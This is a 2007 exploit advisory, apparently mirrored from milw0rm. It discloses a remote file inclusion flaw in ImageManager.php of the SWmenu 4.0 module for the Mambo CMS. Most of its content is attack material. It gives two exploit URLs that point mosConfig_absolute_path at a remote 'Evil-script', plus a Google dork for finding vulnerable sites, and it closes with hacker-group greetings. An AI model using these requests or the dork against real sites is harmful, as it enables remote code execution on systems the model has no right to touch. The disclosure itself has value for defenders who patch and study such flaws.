Security Advisory: MAMBO Modules SWmenu 4.0 (ImageManager.php) Remote File Include Vulnerabilities

[EN] securityvulns.ru
no-pyccku

Related information
  Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)
  Image_Upload Script Remote File Inclusion Exploit Free Image Hosting 2.0
  Net Side Content Management System
  aspWebCalendar Remote SQL Injection Vulnerability
  LMS <= 1.8.9 Vala Remote File Inclusion Vulnerabilities

From: Cold Zero <c.o.1.d.0_(at)_hotmail.com>
Date: 25.03.2007
Subject: MAMBO Modules SWmenu 4.0 (ImageManager.php) Remote File Include Vulnerabilities

######################################################
#
# MAMBO Modules SWmenu 4.0 (ImageManager.php) Remote File Include Vulnerabilities
#
######################################################
#
# script : http://mamboxchange.com/frs/download.php/8109/com_swmenufree4.0.zip
#
######################################################
#
# file : /ImageManager/Classes/ImageManager.php
#
######################################################
#
# Dork : index.php?option=com_swmenupro
#
######################################################
#
# Found by & Contact : Cold z3ro , Cold-z3ro@hotmail.com , http://hack-teach.com/ , Team Hell
#
######################################################
#
# require_once($mosConfig_absolute_path.
"/administrator/components/com_swmenupro/ImageManager/Classes/Files.
php");
#
######################################################
#
# Exploit :
#
#           Here one : http://www.example.com/MAMBO_path/administrator/components/com_swmenupro/ImageMan
ager/Classes/ImageManager.php?mosConfig_absolute_path=Evil-script?
#
#                 Or : http://www.example.com/MAMBO_path/components/com_swmenupro/ImageManager/Classes/I
mageManager.php?mosConfig_absolute_path=Evil-script?
#
######################################################

---- GreeTz: |MoHaNdKo| |Cold One| |Cold ThreE| |Viper Hacker| |The Wolf KSA| |o0xxdark0o| | Kof2002 | |OrGanza| |H@mLiT| |Snake12| |Root Shell|
            |Metoovit| |Fucker_net| |Rageb| |CoDeR| |HuGe| |Str0ke| |Dr.TaiGaR| |BLacK HackErD| |JEeN HacKer| |Nazy L!unx| |KURTEFENDY|
            |Spid1r Net| |Big Hacker| |Hacccr| |hacoor| || |Geniral C| |Mr.TyrAnT| |Zax| |Zooz| | Al 3afreat | |The-Falcon-Ksa|
            | The Sniper | . ||| Team Hell ||| | DearMan | |Pro Hacker| | 020 | | abdulla00 " alz3eem" | | The_Viper |
            All i know

#Big Thx For : www.4azhar.com , Viva My HomeLand Palestine

# milw0rm.com [2007-03-23]

test server